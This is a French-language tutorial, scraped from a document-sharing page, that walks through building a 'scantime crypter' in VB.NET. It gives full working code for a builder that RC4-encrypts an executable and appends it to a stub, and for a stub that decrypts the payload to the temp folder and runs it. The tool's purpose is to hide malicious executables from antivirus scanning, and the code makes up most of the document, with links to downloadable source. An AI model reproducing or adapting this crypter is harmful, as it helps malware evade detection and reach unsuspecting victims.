8
Créer un Crypter ScanTime en VB.NET Rédigé par Spasilac Légende : Attire lattention : Avertissement : Information :

Créer un Crypter ScanTime en VB - data.over-blog-kiwi.comdata.over-blog-kiwi.com/0/32/93/39/201303/ob_7a5954c72d30f7d0c5d57... · Créer un Crypter ScanTime en VB.NET Rédigé par

Embed Size (px)

Citation preview

Page 1: Créer un Crypter ScanTime en VB - data.over-blog-kiwi.comdata.over-blog-kiwi.com/0/32/93/39/201303/ob_7a5954c72d30f7d0c5d57... · Créer un Crypter ScanTime en VB.NET Rédigé par

Créer un Crypter ScanTime en VB.NET

Rédigé par Spasilac

Légende :

Attire l’attention :

Avertissement :

Information :

Page 2: Créer un Crypter ScanTime en VB - data.over-blog-kiwi.comdata.over-blog-kiwi.com/0/32/93/39/201303/ob_7a5954c72d30f7d0c5d57... · Créer un Crypter ScanTime en VB.NET Rédigé par

Introduction :

Nous allons découvrir tout au long de ce document comment créer son propre crypteur en

Visual Basic avec le .Net Framework 2.0

Avant de passer à la pratique je vais vous expliquer comment nous allons procéder :

- Nous découvrirons certains termes essentiels pour les crypteurs

- Nous analyserons le code d’un crypteur

- Finalement nous compilerons notre projet.

Lancer le projet BUILDER. ( c’est celui qui va créer notre fichier à partir d’un STUB )

Créez un nouveau projet comme d’habitude.

Page 3: Créer un Crypter ScanTime en VB - data.over-blog-kiwi.comdata.over-blog-kiwi.com/0/32/93/39/201303/ob_7a5954c72d30f7d0c5d57... · Créer un Crypter ScanTime en VB.NET Rédigé par

Placez les Windows forms comme montré ci-dessous :

Ensuite nommez votre bouton Ouvrir en jouvre.

Dans le code du bouton ‘jouvre’ (ci-dessus’ ouvrir’) entrez ce code :

Copiez collez le code depuis-ici .

Dim x As New OpenFileDialog 'simule une open file dialog x.Filter = "Exécutables |*.exe" 'nous indique quel fichier peut être séléctionné ici uniquement les éxecutables x.InitialDirectory = "/VotreDossier" 'le répertoire de départ lorsque la boite de dialogue s'affichera x.Multiselect = False 'séléctionner plusieurs fichiers ? Dans notre cas non laissez sur "False" If x.ShowDialog = Windows.Forms.DialogResult.OK Then ' si on clique sur "OK" emplacement.Text = x.FileName 'la textebox emplacement affiche où ce situe notre fichier à crytper. Else 'si aucune action ne s'éxécute (exemple : on ne séléctionne pas de fichier) MsgBox("Vous n'avez pas ouvert de fichier !") 'affiche message jecrytpe.Enabled = False 'le bouton crypter ne devient plus utilisable emplacement.Text = "aucun fichier !" 'la textbox "emplacement" nous affiche qu'il n'y a aucun fichier End If ' fin de la réponse

Les éléments en verts sont des instructions, vous n’êtes pas obligés de les réécrire !

Maintenant nous allons ajouter la fonction RC4 , qui est un module d’encryption de texte celui-ci

va nous encrypter notre fichier avec un ConstFileSplit.

Tout au dessus de votre code, entrez ceci :

Page 4: Créer un Crypter ScanTime en VB - data.over-blog-kiwi.comdata.over-blog-kiwi.com/0/32/93/39/201303/ob_7a5954c72d30f7d0c5d57... · Créer un Crypter ScanTime en VB.NET Rédigé par

Imports System.Text Public Class Form1 ‘le debut de la classe

Puis en dessous :

Public Class Form1 Const filesplit = "123456789"

Et nous allons créer la fonction RC4 :

Le code de la fonction Rc4 doit être placé tout seul. ( pas dans un button ou dans le

form1, si vous avez des problèmes regardez le code final)

Public Function RC4(ByVal message As String, ByVal password As String) As String Dim i As Integer = 0 Dim j As Integer = 0 Dim cipher As New StringBuilder Dim returnCipher As String = String.Empty Dim sbox As Integer() = New Integer(256) {} Dim key As Integer() = New Integer(256) {} Dim intLength As Integer = password.Length Dim a As Integer = 0 While a <= 255 Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) sbox(a) = a System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) End While Dim x As Integer = 0 Dim b As Integer = 0 While b <= 255 x = (x + sbox(b) + key(b)) Mod 256 Dim tempSwap As Integer = sbox(b) sbox(b) = sbox(x) sbox(x) = tempSwap System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) End While a = 1 While a <= message.Length Dim itmp As Integer = 0

Page 5: Créer un Crypter ScanTime en VB - data.over-blog-kiwi.comdata.over-blog-kiwi.com/0/32/93/39/201303/ob_7a5954c72d30f7d0c5d57... · Créer un Crypter ScanTime en VB.NET Rédigé par

i = (i + 1) Mod 256 j = (j + sbox(i)) Mod 256 itmp = sbox(i) sbox(i) = sbox(j) sbox(j) = itmp Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) itmp = Asc(ctmp) Dim cipherby As Integer = itmp Xor k cipher.Append(Chr(cipherby)) System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) End While returnCipher = cipher.ToString cipher.Length = 0 Return returnCipher End Function

Finalement nous allons entrer le code du bouton ‘jecrypte’ :

Dim filein, filename, stub As String Dim sfd As New SaveFileDialog sfd.Filter = "Exécutables |*.exe " If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then filename = sfd.FileName Else : Exit Sub End If FileOpen(1, emplacement.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default) filein = Space(LOF(1)) FileGet(1, filein) FileClose(1) FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default) stub = Space(LOF(1)) FileGet(1, stub) FileClose(1) FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) FilePut(1, stub & filesplit & RC4(filein, "123456789")) FileClose(1) MsgBox("Le fichier est crypté ! ")

Voici le code final de notre partie BUILDER : http://pastebin.com/0D9Fr4QV

Page 6: Créer un Crypter ScanTime en VB - data.over-blog-kiwi.comdata.over-blog-kiwi.com/0/32/93/39/201303/ob_7a5954c72d30f7d0c5d57... · Créer un Crypter ScanTime en VB.NET Rédigé par

Passons à la partie STUB.

Créer à nouveau un nouveau projet …

Ensuite réglez le design comme ceci :

Double cliquez lui dessus et entrez ce code (supprimez l’autre avant ! )

Gardez le même ConstFileSplit !

Imports System.Text Public Class Form1

Page 7: Créer un Crypter ScanTime en VB - data.over-blog-kiwi.comdata.over-blog-kiwi.com/0/32/93/39/201303/ob_7a5954c72d30f7d0c5d57... · Créer un Crypter ScanTime en VB.NET Rédigé par

Const filesplit = "123456789" Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load On Error Resume Next Dim TPath As String = System.IO.Path.GetTempPath Dim file1, filezb4(), filezafter As String FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared) file1 = Space(LOF(1)) FileGet(1, file1) FileClose(1) filezb4 = Split(file1, filesplit) filezafter = rc4(filezb4(1), "123456789") FileOpen(5, TPath & "\fichier.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default) FilePut(5, filezafter) FileClose(5) System.Diagnostics.Process.Start(TPath & "\fichier.exe") Me.Close() End End Sub Public Shared Function rc4(ByVal message As String, ByVal password As String) As String Dim i As Integer = 0 Dim j As Integer = 0 Dim cipher As New StringBuilder Dim returnCipher As String = String.Empty Dim sbox As Integer() = New Integer(256) {} Dim key As Integer() = New Integer(256) {} Dim intLength As Integer = password.Length Dim a As Integer = 0 While a <= 255 Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0)) key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp) sbox(a) = a System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1) End While Dim x As Integer = 0 Dim b As Integer = 0 While b <= 255 x = (x + sbox(b) + key(b)) Mod 256 Dim tempSwap As Integer = sbox(b) sbox(b) = sbox(x) sbox(x) = tempSwap System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1) End While a = 1 While a <= message.Length Dim itmp As Integer = 0 i = (i + 1) Mod 256 j = (j + sbox(i)) Mod 256 itmp = sbox(i) sbox(i) = sbox(j) sbox(j) = itmp Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256) Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0) itmp = Asc(ctmp) Dim cipherby As Integer = itmp Xor k cipher.Append(Chr(cipherby)) System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)

Page 8: Créer un Crypter ScanTime en VB - data.over-blog-kiwi.comdata.over-blog-kiwi.com/0/32/93/39/201303/ob_7a5954c72d30f7d0c5d57... · Créer un Crypter ScanTime en VB.NET Rédigé par

End While returnCipher = cipher.ToString cipher.Length = 0 Return returnCipher End Function End Class

Sauvez votre projet avec CTRL+S

Sauvez bien dans le répertoire projet BUILDER.

Pour finir il ne vous reste plus qu’à compiler et générer votre projet.

Pour ceux qui ont eu des difficultés je vous ai upload la source ici :

http://uploaded.to/file/4t5h95cx

FIN DU TUTO